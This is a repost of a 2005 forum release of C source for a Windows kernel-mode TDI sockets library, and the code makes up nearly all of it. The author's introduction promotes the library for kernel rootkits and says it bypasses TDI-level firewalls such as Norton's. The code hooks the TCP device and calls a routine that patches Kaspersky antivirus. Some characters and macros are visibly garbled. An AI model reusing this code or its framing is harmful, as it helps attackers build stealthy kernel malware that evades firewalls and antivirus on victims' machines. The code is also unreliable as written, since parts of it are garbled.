forward: Kernel Mode Sockets Library

创建时间：2006-01-13 更新时间：2006-01-16
文章属性：转载
文章提交： KiSSinGGer (kyller_clemens_at_hotmail.com)

Kernel mode sockets library for the masses
@ :: deep article :: Dec 31 2005, 02:27 (UTC+0)

valerino writes: Kernel mode sockets library

It's my birthday today (just turned 31 the 31st december, funny eh ?!), i wanted to publish something,
it makes me feel alive. Christ lived 33 years only, if i'd be the new Christ
i've only 2 years left, so better to share my knowledge now :)

Well, here you have a fully functional TDI sockets library. You can connect,
send, receive, all from your supa-dupa-l333t kernelmode rootkit. Yes, you can
bypass lame TDI firewalls with this. No, you can't bypass ndis firewalls.
(read : you can bypass norton's firewall).

Consider that something like this worths $400+ from PCAUSA, and maybe more
from OSR (KSOCKS)..... enough for a new year's present :)

Usage : you have to hook //device/tcp yourself and set the global variable TcpIpDevice.
Then call KSocketInitialize and you're done. Refer to the source for usage.... it shouldn't be hard.

have fun, and happy 2006 to everyone ! Ciao! :)




-----------------------------------------sockets.c------------------------------

//************************************************************************
//
// sockets.c
// (c) valerino/xOANINO 2003/2004/2005
//
// this module implements a generic kernel sockets library.
// ** Beware that this is optimized for single thread use if REUSE_SOCKETSIRP is defined.**
//*****************************************************************************

#include "ntifs.h"

#define MODULE "**SOCKETS**"

#ifdef DBG
#ifdef NO_SOCKETS_DBGMSG
#undef KDebugPrint
#define KDebugPrint(DbgLevel,_x)
#endif
#endif

/************************************************************************/
// BOOL KSocketInitialize()
//
// Initialize kernelsockets library
//
/************************************************************************/
BOOL KSocketInitialize()
{
ExInitializePagedLookasideList(&LookasideSocketMem, NULL, NULL, 0, 1024, 'lskN', 0);
ExInitializePagedLookasideList(&LookasideSocket,NULL,NULL,0,sizeof (KSOCKET),'cosN',0);

#ifdef REUSE_SOCKETSIRP
// check for tcpdevice
if (!TcpIpDevice)
return TRUE;

// allocate the single irp we use throughout the sockets library
SocketsIrp = IoAllocateIrp(TcpIpDevice->StackSize + 1, FALSE);
if (!SocketsIrp)
return FALSE;
#endif
return TRUE;
}

/************************************************************************/
// PVOID KSocketAllocatePool(VOID)
//
// Allocate memory from sockets lookaside
//
/************************************************************************/
PVOID KSocketAllocatePool(VOID)
{
PCHAR p = NULL;

p = ExAllocateFromPagedLookasideList(&LookasideSocketMem);
if (p)
memset(p, 0, SMALLBUFFER_SIZE);
return p;
}

/************************************************************************/
// void KSocketFreePool(PVOID pBuffer)
//
// Free memory to sockets lookaside
//
/************************************************************************/
void KSocketFreePool(PVOID pBuffer)
{
ExFreeToPagedLookasideList(&LookasideSocketMem, pBuffer);
}

/************************************************************************/
// NTSTATUS KSocketCloseObject(HANDLE Handle, PFILE_OBJECT FileObject)
//
// Release a socket object
//
/************************************************************************/
NTSTATUS KSocketCloseObject(HANDLE Handle, PFILE_OBJECT FileObject)
{
NTSTATUS Status = STATUS_SUCCESS;

// dereference referenced object (called for connection and address)
if (FileObject)
ObDereferenceObject(FileObject);

// close socket
if (Handle)
Status = ZwClose(Handle);

return Status;
}

/************************************************************************/
// PFILE_FULL_EA_INFORMATION KSocketBuildEaValues(PVOID EaName, ULONG NameLength, PVOID EaValue,
// ULONG ValueLength, PULONG EaLength)
//
// Build EA information for the socket object
//
/************************************************************************/
PFILE_FULL_EA_INFORMATION KSocketBuildEaValues(PVOID EaName, ULONG NameLength, PVOID EaValue,
ULONG ValueLength, PULONG EaLength)
{
PFILE_FULL_EA_INFORMATION Ea;

*EaLength = FIELD_OFFSET(FILE_FULL_EA_INFORMATION, EaName[0]) + NameLength + 1 + ValueLength;

// allocate ea buffer
Ea = ExAllocatePool(PagedPool, *EaLength);
if (!Ea)
return NULL;

// fill buffer with EA values requested
Ea->NextEntryOffset = 0;
Ea->Flags = 0;
Ea->EaNameLength = (UCHAR) NameLength;
Ea->EaValueLength = (USHORT) ValueLength;
memcpy (Ea->EaName,EaName,Ea->EaNameLength + 1);
if (EaValue && EaLength)
memcpy (&Ea->EaName[NameLength + 1],EaValue,ValueLength);

return Ea;
}

/************************************************************************/
// NTSTATUS KSocketOpenAddress(PHANDLE Handle, PFILE_OBJECT* FileObject, PVOID Context)
//
// Open address
//
/************************************************************************/
NTSTATUS KSocketOpenAddress(PHANDLE Handle, PFILE_OBJECT* FileObject, PVOID Context)
{
UNICODE_STRING Name;
OBJECT_ATTRIBUTES ObjectAttributes;
PFILE_FULL_EA_INFORMATION Ea = NULL;
ULONG EaLength;
IO_STATUS_BLOCK Iosb;
NTSTATUS Status;
TA_IP_ADDRESS Sin;

// initialize address
Sin.TAAddressCount = 1;
Sin.Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP;
Sin.Address[0].AddressType = TDI_ADDRESS_TYPE_IP;
Sin.Address[0].Address[0].sin_port = 0; // INADDR_ANY;
Sin.Address[0].Address[0].in_addr = 0;

// get EA values for address
Ea = KSocketBuildEaValues(TdiTransportAddress, TDI_TRANSPORT_ADDRESS_LENGTH, &Sin,
sizeof(TA_IP_ADDRESS), &EaLength);
if (!Ea)
{
Status = STATUS_INSUFFICIENT_RESOURCES;
goto __exit;
}

// open tcp device
RtlInitUnicodeString(&Name, TCPIP_DEVICE);
InitializeObjectAttributes(&ObjectAttributes, &Name, OBJ_CASE_INSENSITIVE, NULL, 0);
Status = ZwCreateFile(Handle, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &ObjectAttributes, &Iosb, 0,
FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ,FILE_OPEN_IF,0, Ea, EaLength);
if (!NT_SUCCESS(Status))
goto __exit;

Status = ObReferenceObjectByHandle(*Handle, FILE_ANY_ACCESS, 0, KernelMode, FileObject, NULL);

__exit:
if (Ea)
ExFreePool(Ea);

return Status;
}

/************************************************************************/
// NTSTATUS KSocketOpenConnection(PHANDLE Handle, PFILE_OBJECT* FileObject, PVOID Context)
//
// open connection
//
/************************************************************************/
NTSTATUS KSocketOpenConnection(PHANDLE Handle, PFILE_OBJECT* FileObject, PVOID Context)
{
UNICODE_STRING Name;
OBJECT_ATTRIBUTES ObjectAttributes;
PFILE_FULL_EA_INFORMATION Ea = NULL;
ULONG EaLength;
IO_STATUS_BLOCK Iosb;
NTSTATUS Status;

// get EA values for connection
Ea = KSocketBuildEaValues(TdiConnectionContext, TDI_CONNECTION_CONTEXT_LENGTH, &Context,
sizeof(PKSOCKET), &EaLength);
if (!Ea)
{
Status = STATUS_INSUFFICIENT_RESOURCES;
goto __exit;
}

// open tcp device
RtlInitUnicodeString(&Name, TCPIP_DEVICE);
InitializeObjectAttributes(&ObjectAttributes, &Name, OBJ_CASE_INSENSITIVE, NULL, 0);
Status = ZwCreateFile(Handle, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &ObjectAttributes, &Iosb, 0,
FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ,FILE_OPEN_IF, 0, Ea, EaLength);
if (!NT_SUCCESS(Status))
goto __exit;

Status = ObReferenceObjectByHandle(*Handle, FILE_ANY_ACCESS, 0, KernelMode, FileObject, NULL);

__exit:
if (Ea)
ExFreePool(Ea);

return Status;
}

//************************************************************************
// NTSTATUS KSocketComplete(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
//
// Socket completion routine
//************************************************************************/
NTSTATUS KSocketComplete(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
{
PMDL mdl = NULL;
PMDL nextMdl = NULL;
PKSOCKET_CTX Ctx = (PKSOCKET_CTX)Context;

// set status block
Ctx->Iosb.Status = Irp->IoStatus.Status;
Ctx->Iosb.Information = Irp->IoStatus.Information;

// Free any associated MDL.
if (Irp->MdlAddress != NULL)
{
for (mdl = Irp->MdlAddress; mdl != NULL; mdl = nextMdl)
{
nextMdl = mdl->Next;
MmUnlockPages(mdl);

// This function will also unmap pages.
IoFreeMdl(mdl);
}

// set mdl address to null, to prevent iofreeirp to attempt to free it again
Irp->MdlAddress = NULL;
}

#ifdef REUSE_SOCKETSIRP
// set irp for reuse
IoReuseIrp (Irp,STATUS_SUCCESS);
#else
// free irp
IoFreeIrp (Irp);
#endif
// set event
if (Ctx)
KeSetEvent (&Ctx->Event,IO_NO_INCREMENT,FALSE);

return STATUS_MORE_PROCESSING_REQUIRED;
}

//************************************************************************
// NTSTATUS KSocketAssociateAddress(HANDLE Address, PFILE_OBJECT Connection)
//
// Associate address
//************************************************************************/
NTSTATUS KSocketAssociateAddress(HANDLE Address, PFILE_OBJECT Connection)
{
PDEVICE_OBJECT DeviceObject;
PIRP Irp = NULL;
NTSTATUS Status = STATUS_TIMEOUT;
KSOCKET_CTX Ctx;

// initialize event and device
KeInitializeEvent(&Ctx.Event, NotificationEvent, FALSE);
DeviceObject = TcpIpDevice;

// allocate TDI_ASSOCIATE_ADDRESS irp
#ifdef REUSE_SOCKETSIRP
Irp = SocketsIrp;
#else
Irp = IoAllocateIrp(DeviceObject->StackSize + 1, FALSE);
#endif
if (!Irp)
return STATUS_INSUFFICIENT_RESOURCES;

// build irp (this set completion routine too)
TdiBuildAssociateAddress(Irp, DeviceObject, Connection,KSocketComplete, &Ctx, Address);

// call tcpip
Status = IoCallDriver(DeviceObject, Irp);
if (Status == STATUS_PENDING)
{
// returned status pending
Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
if (Status == STATUS_TIMEOUT)
{
KDebugPrint (1, ("%s ***************** KSocketAssociateAddress timeout occurred ***************** cancelling IRP/n", MODULE));

// cancel irp
IoCancelIrp(Irp);

// wait for completion routine to be called
KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);

Status = STATUS_CONNECTION_ABORTED;
}
else
{
// ok
Status = Ctx.Iosb.Status;
}
}

return Status;
}

//************************************************************************
// NTSTATUS KSocketConnect(PKSOCKET pSocket, ULONG Address, USHORT Port)
//
// Connect socket to address:port
//************************************************************************/
NTSTATUS KSocketConnect(PKSOCKET pSocket, ULONG Address, USHORT Port)
{
PDEVICE_OBJECT DeviceObject;
PIRP Irp = NULL;
NTSTATUS Status = STATUS_TIMEOUT;
KSOCKET_CTX Ctx;
TDI_CONNECTION_INFORMATION RequestInfo;
TA_IP_ADDRESS RemoteAddress;
PFILE_OBJECT Connection;

KDebugPrint (2,("%s KSocketConnect called./n",MODULE));

if (!pSocket)
return STATUS_UNSUCCESSFUL;

// set parameters
Connection = pSocket->ConnectionFile;
memset (&RequestInfo,0, sizeof(TDI_CONNECTION_INFORMATION));
memset (&RemoteAddress,0,sizeof (TA_IP_ADDRESS));

RemoteAddress.TAAddressCount = 1;
RemoteAddress.Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP;
RemoteAddress.Address[0].AddressType = TDI_ADDRESS_TYPE_IP;
RemoteAddress.Address[0].Address[0].sin_port = Port;
RemoteAddress.Address[0].Address[0].in_addr = Address;

RequestInfo.UserDataLength = 0;
RequestInfo.UserData = NULL;
RequestInfo.OptionsLength = 0;
RequestInfo.Options = NULL;
RequestInfo.RemoteAddressLength = sizeof(TA_IP_ADDRESS);
RequestInfo.RemoteAddress = &RemoteAddress;

// initialize event and device
KeInitializeEvent(&Ctx.Event, NotificationEvent, FALSE);
DeviceObject = TcpIpDevice;

// allocate TDI_CONNECT irp
#ifdef REUSE_SOCKETSIRP
Irp = SocketsIrp;
#else
Irp = IoAllocateIrp(DeviceObject->StackSize + 1, FALSE);
#endif

// build irp (this set completion routine too)
TdiBuildConnect (Irp, DeviceObject,Connection,KSocketComplete, &Ctx,NULL, &RequestInfo,&RequestInfo);

// call tcpip
Status = IoCallDriver(DeviceObject, Irp);
if (Status == STATUS_PENDING)
{
// returned status pending
Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
if (Status == STATUS_TIMEOUT)
{
KDebugPrint (1, ("%s ***************** KSocketConnect timeout occurred ***************** cancelling IRP/n", MODULE));

// cancel irp
IoCancelIrp(Irp);

// wait for completion routine to be called
KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);

Status = STATUS_CONNECTION_ABORTED;
}
else
// ok
Status = Ctx.Iosb.Status;
}

if (Status == STATUS_SUCCESS)
pSocket->Connected = TRUE;

return Status;
}


//************************************************************************
// NTSTATUS KSocketDisconnect(PKSOCKET pSocket
//
// Disconnect socket
//************************************************************************/
NTSTATUS KSocketDisconnect(PKSOCKET pSocket)
{
PDEVICE_OBJECT DeviceObject;
PIRP Irp = NULL;
NTSTATUS Status = STATUS_TIMEOUT;
TDI_CONNECTION_INFORMATION ReqDisconnect;
PFILE_OBJECT Connection;
ULONG Flags;
KSOCKET_CTX Ctx;

// check if socket is already disconnected
if (!pSocket)
return STATUS_UNSUCCESSFUL;

if (!pSocket->Connected)
return STATUS_ALREADY_DISCONNECTED;

// set parameters
Connection = pSocket->ConnectionFile;
memset(&ReqDisconnect,0,sizeof (TDI_CONNECTION_INFORMATION));
Flags = TDI_DISCONNECT_ABORT;

// initialize event and device
KeInitializeEvent(&Ctx.Event, NotificationEvent, FALSE);
DeviceObject = TcpIpDevice;

// allocate TDI_DISCONNECT irp
#ifdef REUSE_SOCKETSIRP
Irp = SocketsIrp;
#else
Irp = IoAllocateIrp(DeviceObject->StackSize + 1, FALSE);
#endif
if (!Irp)
return STATUS_INSUFFICIENT_RESOURCES;

// build irp (this set completion routine too)
TdiBuildDisconnect (Irp, DeviceObject,Connection,KSocketComplete, &Ctx, NULL,Flags,&ReqDisconnect,&ReqDisconnect);

// call tcpip
Status = IoCallDriver(DeviceObject, Irp);
if (Status == STATUS_PENDING)
{
// returned status pending
Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
if (Status == STATUS_TIMEOUT)
{
KDebugPrint (1, ("%s ***************** KSocketDisconnect timeout occurred ***************** cancelling IRP/n", MODULE));

// cancel irp
IoCancelIrp(Irp);

// wait for completion routine to be called
KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);

Status = STATUS_CONNECTION_ABORTED;
}
else
{
// ok
Status = Ctx.Iosb.Status;
}
}

if (NT_SUCCESS (Status))
pSocket->Connected = FALSE;

return Status;
}

//************************************************************************
// NTSTATUS KSocketSend(PKSOCKET pSocket, PVOID Buffer, SIZE_T Size, PSIZE_T BytesSent)
//
// Send buffer thru socket
//************************************************************************/
NTSTATUS KSocketSend(PKSOCKET pSocket, PVOID Buffer, SIZE_T Size, PSIZE_T BytesSent)
{
PDEVICE_OBJECT DeviceObject;
PFILE_OBJECT Connection;
PIRP Irp = NULL;
NTSTATUS Status = STATUS_TIMEOUT;
KSOCKET_CTX Ctx;
PMDL Mdl;

KDebugPrint (2,("%s KSocketSend called./n",MODULE));

if (!pSocket)
return STATUS_UNSUCCESSFUL;

// set parameters
Connection = pSocket->ConnectionFile;
*BytesSent = 0;

// initialize event and device
KeInitializeEvent(&Ctx.Event, NotificationEvent, FALSE);
DeviceObject = TcpIpDevice;

// allocate TDI_SEND irp
#ifdef REUSE_SOCKETSIRP
Irp = SocketsIrp;
#else
Irp = IoAllocateIrp(DeviceObject->StackSize + 1, FALSE);
#endif
if (!Irp)
return STATUS_INSUFFICIENT_RESOURCES;

// build mdl
Mdl = IoAllocateMdl(Buffer, Size, FALSE, FALSE, NULL);
if (!Mdl)
{
Status = STATUS_INSUFFICIENT_RESOURCES;
IoFreeIrp (Irp);
return Status;
}

__try
{
MmProbeAndLockPages(Mdl, KernelMode, IoReadAccess);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
IoFreeMdl (Mdl);
IoFreeIrp (Irp);
Status = STATUS_UNSUCCESSFUL;
return Status;
}
Mdl->Next = NULL;

// build irp (this set completion routine too)
TdiBuildSend (Irp, DeviceObject,Connection,KSocketComplete, &Ctx,Mdl,0,Size);

// call tcp
Status = IoCallDriver(DeviceObject, Irp);
if (Status == STATUS_PENDING)
{
// returned status pending
Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
if (Status == STATUS_TIMEOUT)
{
KDebugPrint (1, ("%s ***************** KSocketSend timeout occurred ***************** cancelling IRP/n", MODULE));

// cancel irp
IoCancelIrp(Irp);

// wait for completion routine to be called
KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);
Status = STATUS_CONNECTION_ABORTED;
}
else
{
// ok
Status = Ctx.Iosb.Status;
}
}

// return sent bytes
*BytesSent = Ctx.Iosb.Information;

// check transferred bytes
if (Ctx.Iosb.Information != Size)
Status = STATUS_CONNECTION_ABORTED;

if (!NT_SUCCESS(Status))
{
KDebugPrint(1, ("%s KSocketSend returned error %08x (ReqSent:%d,OkSent:%d)/n", MODULE, Status,
Size, *BytesSent));
}

return Status;
}

//************************************************************************
// NTSTATUS KSocketReceive(PKSOCKET pSocket, PVOID Buffer, SIZE_T Size, PSIZE_T BytesReceived, BOOLEAN ReceivePeek)
//
// Receive buffer thru socket
//************************************************************************/
NTSTATUS KSocketReceive(PKSOCKET pSocket, PVOID Buffer, SIZE_T Size, PSIZE_T BytesReceived, BOOLEAN ReceivePeek)
{
PDEVICE_OBJECT DeviceObject;
PFILE_OBJECT Connection;
PIRP Irp = NULL;
NTSTATUS Status = STATUS_TIMEOUT;
PMDL Mdl;
ULONG Flags;
KSOCKET_CTX Ctx;

KDebugPrint (2,("%s KSocketReceive called./n",MODULE));

if (!pSocket)
return STATUS_UNSUCCESSFUL;

// set parameters
Connection = pSocket->ConnectionFile;
*BytesReceived = 0;

if (ReceivePeek)
Flags = TDI_RECEIVE_PEEK;
else
Flags = TDI_RECEIVE_NORMAL;

// initialize event and device
KeInitializeEvent(&Ctx.Event, NotificationEvent, FALSE);
DeviceObject = TcpIpDevice;

// allocate TDI_RECEIVE irp
#ifdef REUSE_SOCKETSIRP
Irp = SocketsIrp;
#else
Irp = IoAllocateIrp(DeviceObject->StackSize + 1, FALSE);
#endif
if (!Irp)
return STATUS_INSUFFICIENT_RESOURCES;

// build mdl
Mdl = IoAllocateMdl(Buffer, Size, FALSE, FALSE, NULL);
if (!Mdl)
{
Status = STATUS_INSUFFICIENT_RESOURCES;
IoFreeIrp (Irp);
return Status;
}

__try
{
MmProbeAndLockPages(Mdl, KernelMode, IoWriteAccess);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
IoFreeMdl (Mdl);
IoFreeIrp (Irp);
Status = STATUS_UNSUCCESSFUL;
return Status;
}
Mdl->Next = NULL;

// build irp (this set completion routine too)
TdiBuildReceive (Irp, DeviceObject,Connection,KSocketComplete, &Ctx,Mdl,Flags,Size);

// call tcp
Status = IoCallDriver(DeviceObject, Irp);
if (Status == STATUS_PENDING)
{
// returned status pending
Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
if (Status == STATUS_TIMEOUT)
{
KDebugPrint (1, ("%s ***************** KSocketReceive timeout occurred ***************** cancelling IRP/n", MODULE));

// cancel irp
IoCancelIrp(Irp);

// wait for completion routine to be called
KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);

Status = STATUS_CONNECTION_ABORTED;
}
else
{
// ok
Status = Ctx.Iosb.Status;
}
}

// return received bytes
*BytesReceived = Ctx.Iosb.Information;

// check received bytes
if (Ctx.Iosb.Information == 0)
Status = STATUS_CONNECTION_ABORTED;

if (!NT_SUCCESS(Status))
{
KDebugPrint(1, ("%s KSocketReceive returned error %08x (ReqRecv:%d,OkRecv:%d)/n", MODULE, Status,
Size, *BytesReceived));
}

return Status;
}

//************************************************************************
// VOID KSocketClose(PKSOCKET Socket)
//
// Close socket and Release socket memory
//************************************************************************/
VOID KSocketClose(PKSOCKET Socket)
{
if (Socket == NULL)
{
return;
}

KSocketCloseObject(Socket->TransportAddressHandle, Socket->TransportAddress);
KSocketCloseObject(Socket->ConnectionFileHandle, Socket->ConnectionFile);

ExFreeToPagedLookasideList (&LookasideSocket,Socket);

Socket = NULL;
}

//************************************************************************
// NTSTATUS KSocketCreate(OUT PKSOCKET* Socket)
//
// Create socket
//************************************************************************/
NTSTATUS KSocketCreate(OUT PKSOCKET* Socket)
{
NTSTATUS Status = STATUS_SUCCESS;
PKSOCKET iSocket = NULL;

#ifdef ALWAYS_DISABLESOCKETS
KDebugPrint(1,("%s Sockets disabled, connect skipped./n", MODULE));
return STATUS_UNSUCCESSFUL;
#endif

// check disabled sockets
if (DisableSockets)
{
KDebugPrint(1,("%s Sockets disabled, connect skipped./n", MODULE));
return STATUS_UNSUCCESSFUL;
}

// handle KAV (crash if not patched)
ModulePatchKAV();

// allocate memory for a new socket
iSocket = ExAllocateFromPagedLookasideList(&LookasideSocket);
if (!iSocket)
{
Status = STATUS_INSUFFICIENT_RESOURCES;
goto __exit;
}
memset (iSocket,0, sizeof(KSOCKET));

// open transport address
Status = KSocketOpenAddress(&iSocket->TransportAddressHandle, &iSocket->TransportAddress,
iSocket);
if (!NT_SUCCESS(Status))
goto __exit;

// create connection endpoint
Status = KSocketOpenConnection(&iSocket->ConnectionFileHandle, &iSocket->ConnectionFile,
iSocket);
if (!NT_SUCCESS(Status))
goto __exit;

// associate address with connection
Status = KSocketAssociateAddress(iSocket->TransportAddressHandle, iSocket->ConnectionFile);
if (!NT_SUCCESS(Status))
goto __exit;

__exit:
if (!NT_SUCCESS(Status))
{
if (iSocket)
KSocketClose(iSocket);
*Socket = NULL;
}
else
*Socket = iSocket;

return Status;
}

/************************************************************************/
// NTSTATUS KSocketReadLine(PKSOCKET pSocket, PCHAR buf, SIZE_T maxlen, PSIZE_T ReceivedBytes)
//
// Read line (ascii) from network
//
/************************************************************************/
NTSTATUS KSocketReadLine(PKSOCKET pSocket, PCHAR buf, SIZE_T maxlen, PSIZE_T ReceivedBytes)
{
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UCHAR c = 0;
ULONG i = 0;
ULONG received = 0;

// check params
if (!pSocket || !buf || !ReceivedBytes || !maxlen)
goto __exit;

*ReceivedBytes = 0;
if (!pSocket->Connected)
goto __exit;

// read line char by char, and stop at EOL
memset (buf, 0, maxlen);
while (TRUE)
{
if (i == maxlen)
break;

// get char from socket
Status = KSocketReceive (pSocket,&c,1,&received,FALSE);
if (!NT_SUCCESS (Status) || received == 0)
break;

// write char into buffer and advance
*buf = c;
buf++;
i++;

// check for EOL
if (c == '/n')
{
*ReceivedBytes = i;
break;
}
}

__exit:
// treat 0 size received as error
if (received == 0)
Status = STATUS_NO_DATA_DETECTED;

return Status;
}

/************************************************************************/
// NTSTATUS KSocketWriteLine(PKSOCKET pSocket, const char* format, ...)
//
// write formatted line (ascii) to network
//
/************************************************************************/
NTSTATUS KSocketWriteLine(PKSOCKET pSocket, const char* format, ...)
{
va_list ap;
char* buf;
ULONG len;
NTSTATUS Status;
SIZE_T BytesSent = 0;

// allocate memory
buf = KSocketAllocatePool();
if (!buf)
return STATUS_INSUFFICIENT_RESOURCES;

// build line
va_start(ap, format);
_vsnprintf(buf, SMALLBUFFER_SIZE, format, ap);
va_end(ap);
len = strlen(buf);

// send
Status = KSocketSend(pSocket, buf, len, &BytesSent);

// free buffer
KSocketFreePool(buf);

// check if we've sent all bytes
if (BytesSent < len)
return STATUS_UNSUCCESSFUL;

return Status;
}

-----------------------------------------sockets.h------------------------------

#ifndef __sockets_h__
#define __sockets_h__

#define REUSE_SOCKETSIRP

// debugprint with debuglevel (if dbglevel == debug level, it triggers)
#if DBG
#define KDebugPrint(DbgLevel,_x) { /
if (DbgLevel == DEBUG_LEVEL)
{
DbgPrint _x;
}
}
#else
#define KDebugPrint(DbgLevel,_x)
#endif //DBG

//#define ALWAYS_DISABLESOCKETS

//************************************************************************
// kernel sockets
//
//************************************************************************/
PDEVICE_OBJECT TcpIpDevice;

typedef struct __tagKSOCKET
{
PFILE_OBJECT TransportAddress;
HANDLE TransportAddressHandle;
PFILE_OBJECT ConnectionFile;
HANDLE ConnectionFileHandle;
BOOLEAN Connected;
}KSOCKET, * PKSOCKET;

typedef struct _tagKSOCKET_CTX {
KEVENT Event;
IO_STATUS_BLOCK Iosb;
} KSOCKET_CTX, *PKSOCKET_CTX;

PAGED_LOOKASIDE_LIST LookasideSocketMem;
PAGED_LOOKASIDE_LIST LookasideSocket;
KEVENT NoNetworkFailures;
BOOLEAN DisableSockets; // flag to disable sockets if needed
PDRIVER_DISPATCH OriginalTcpInternalDeviceControl;
PIRP SocketsIrp;

// all paged code except the completion routine
BOOL KSocketInitialize();
#pragma alloc_text (PAGEboom,KSocketInitialize)

NTSTATUS KSocketCreate(OUT PKSOCKET* Socket);

VOID KSocketClose(PKSOCKET Socket);

PVOID KSocketAllocatePool();

void KSocketFreePool(PVOID pBuffer);

NTSTATUS KSocketSend(PKSOCKET pSocket, PVOID Buffer, SIZE_T Size,
PSIZE_T BytesSent);

NTSTATUS KSocketConnect(PKSOCKET pSocket, ULONG Address, USHORT Port);
NTSTATUS KSocketDisconnect(PKSOCKET pSocket);

NTSTATUS KSocketComplete(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context);

NTSTATUS KSocketReceive(PKSOCKET pSocket, PVOID Buffer, SIZE_T Size, PSIZE_T BytesReceived,
BOOLEAN ReceivePeek);

NTSTATUS KSocketReadLine(PKSOCKET pSocket, PCHAR buf, SIZE_T maxlen, PSIZE_T ReceivedBytes);

NTSTATUS KSocketWriteLine(PKSOCKET pSocket, const char* format, ...);


#endif // __sockets_h__